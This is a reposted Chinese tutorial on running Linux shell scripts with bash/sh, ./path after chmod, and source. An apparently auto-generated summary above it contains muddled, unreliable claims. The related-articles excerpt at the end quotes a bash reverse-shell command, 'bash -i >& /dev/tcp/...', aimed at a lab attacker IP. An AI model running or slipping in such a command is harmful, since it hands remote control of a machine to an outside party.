[转帖]Linux之Shell 脚本执行三种方式

linux,shell,脚本,执行,三种,方式 · 浏览次数 : 0

小编点评

**什么是Shell?** Shell 是用户与内核进行交互操作的一种接口,目前最流行的 Shell 是 bash Shell。 **bash Shell 的一些重要特性:** * 与其他 Shell 兼容,例如 sh 和 csh。 * 支持多种编程语言,包括 Bash。 * 可以通过 cat、grep、sed 等工具进行文本处理。 * 可以创建和运行脚本。 **Shell 的使用方式:** 1. 将 Shell 的执行程序的绝对路径或相对路径写入文件中(例如 /root/helloWorld.sh)。 2. 赋予脚本文件+x权限。 3. 在当前目录下运行脚本:./helloWorld.sh 或 sh helloWorld.sh 。 **Shell 的脚本类型:** * bashscript-name :当脚本文件本身没有可执行权限时使用。 * path/script-name :在当前路径下执行脚本。 * ./script-name :在当前目录下执行脚本。 **注意:** * 在生产环境中,运维人员通常将脚本的权限设置为 755 ,以防止用户权限不足。 * 使用 `chmod` 命令可以设置文件权限。

正文

什么是Shell?

  1. Shell是用户与内核进行交互操作的一种接口,目前最流行的Shell称为bash Shell
  2. Shell也是一门编程语言<解释型的编程语言>,即shell脚本
  3. 一个系统可以存在多个shell,可以通过cat /etc/shells命令查看系统中安装的shell,不同的shell可能支持的命令语法是不相同的
  4. 一个规范的Shell脚本在第一行会指出由哪个程序(解释器)来执行脚本中的内容,这一行内容在Linux bash的编程一般为:
  1. #!/bin/bash
  2. #!/bin/sh

注意:

(1)在Shell中如果一行的第一个字母是#,则是注释,但是上面两个是写在第一行,所以不是脚本注释行,如果写在某个命令之后,则变成注释行。

(2)sh为bash的软链接,大多数情况下,脚本的开头使用“#!/bin/bash”和“#!/bin/sh”是没有区别的,但更规范的写法是在脚本的开头使用“#!/bin/bash”。

Shell 脚本的执行方式通常有如下三种

(1)bash script-name 或者 sh script-name;

  这是当脚本文件本身没有可执行权限(即文件权限属性x位为-号)时常使用的方法,或者脚本文件开头没有指定解释器时需要使用的方法。推荐使用这种方法。

总结:不用赋予+x权限,而用解释器解释执行 sh  helloworld.sh

(2)path/script-name或者./script-name;

指在当前路径下执行脚本(脚本需要有执行权限),需要将脚本文件的权限改为可执行(即文件权限属性为x位)。具体方法为:chmod a+x script-name。然后通过执行脚本绝对路径或者相对路径就可以执行脚本了。
注意:在生产环境中,运维人员由于忘记为该脚本设置可执行权限,然后直接使用,导致出错。因此,推荐第一种 bashscript-name。

linux中执行./xx.sh 与 xx.sh的区别:

./xx.sh执行当前目录中的xx.sh文件
xx.sh,执行名为xx.sh的文件
后者如果在运行之前把.(指当前目录)加入到了环境变量中,且有可执行权限,则可以执行,否则如果如果没有加入环境变量则提示无法找到文件,没执行权限将提示找不到或者权限不够.
换句话说就是 ./xx.sh是执行当前目录下的xx.sh,但是xx.sh是执行%path%\的xx.sh文件

总结:输入脚本的绝对路径或相对路径 首先要赋予+x权限     /root/helloWorld.sh     ./helloWorld.sh

(3)source script-name或者. script-name。

source或者“.”命令的功能是:读入脚本并执行脚本,即在当前Shell中执行source或“.”加载并执行的相关脚本文件的命令及语句,而不是产生一个子Shell来执行文件中的命令。

区别:第一种和第二种会新开一个bash,不同bash中的变量无法共享

文章知识点与官方知识档案匹配,可进一步学习相关知识
CS入门技能树Linux入门初识Linux23099 人正在系统学习中

与[转帖]Linux之Shell 脚本执行三种方式相似的内容:

[转帖]Linux之Shell 脚本执行三种方式

什么是Shell? Shell是用户与内核进行交互操作的一种接口,目前最流行的Shell称为bash ShellShell也是一门编程语言<解释型的编程语言>,即shell脚本一个系统可以存在多个shell,可以通过cat /etc/shells命令查看系统中安装的shell,不同的shell可能支

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击

[转帖]Linux命令之ulimit命令

一、命令简介 ulimit是一个计算机命令,用于shell启动进程所占用的资源,可用于修改系统资源限制。使用ulimit命令用于临时修改资源限制,如果需要永久修改需要将设置写入配置文件/etc/security/limits.conf。 二、使用示例 1、查看当前资源限制设置 [root@test1

[转帖]Shell编程之免交互

目录 交互的概念与Linux中的运用Here Document 免交互tee命令重定向输出加标准输出支持变量替换多行注释Expect实例操作免交互预设值修改用户密码创建用户并设置密码实现 ssh 自动登录 交互的概念与Linux中的运用 交互:当计算机播放某多媒体程序的时候,编程人员可以发出指令控制

[转帖]Shell三剑客之awk

目录 awk简述awk的工作过程awk的工作原理awk的基本格式及其内置变量getline文本内容匹配过滤打印对字段进行处理打印条件判断打印awk的三元表达式与精准筛选用法awk的精准筛选:awk的分隔符用法指定输出的分隔符awk结合数组运用面试题 awk简述 在 Linux/UNIX 系统中,aw

[转帖]精通awk系列(19):awk流程控制之break、continue、next、nextfile、exit语句

https://www.cnblogs.com/f-ck-need-u/ 回到: Linux系列文章 Shell系列文章 Awk系列文章 break和continue break可退出for、while、do...while、switch语句。 continue可让for、while、do...wh

[转帖]Linux之fstab文件详解

https://blog.yelvlab.cn/archives/592/ fstab文件是干什么用的: /etc/fstab是用来存放文件系统的静态信息的文件。位于/etc/目录下,可以用命令less /etc/fstab 来查看,如果要修改的话,则用命令 vi /etc/fstab 来修改。当系

[转帖]Linux之系统参数overcommit_memory

https://www.modb.pro/db/25980 前言:作为DBA,内存的使用情况是重要的监控指标之一,了解内存使用很重要。下面有一个系统参数,对于内存的调用起到重要的作用。大家可以了解一下。 参数overcommit_memory:overcommit的中文意思是过量使用,那overco

[转帖]Linux之/etc/fstab文件讲解

https://www.cnblogs.com/FengGeBlog/p/10178824.html /etc/fstab是用来存放文件系统的静态信息的文件。位于/etc/目录下,可以用命令less /etc/fstab 来查看,如果要修改的话,则用命令 vi /etc/fstab 来修改。当系统启

[转帖]Linux之pure-ftpd安装和使用

一、pure-ftpd简介 PureFTPd是一款专注于程序健壮和软件安全的免费FTP服务器软件(基于BSD License),以安全和配置简单为设计目标,支持虚拟主机,IPV6,PAM等功能。。其可以在多种类Unix操作系统中编译运行,包括Linux、OpenBSD、NetBSD、FreeBSD、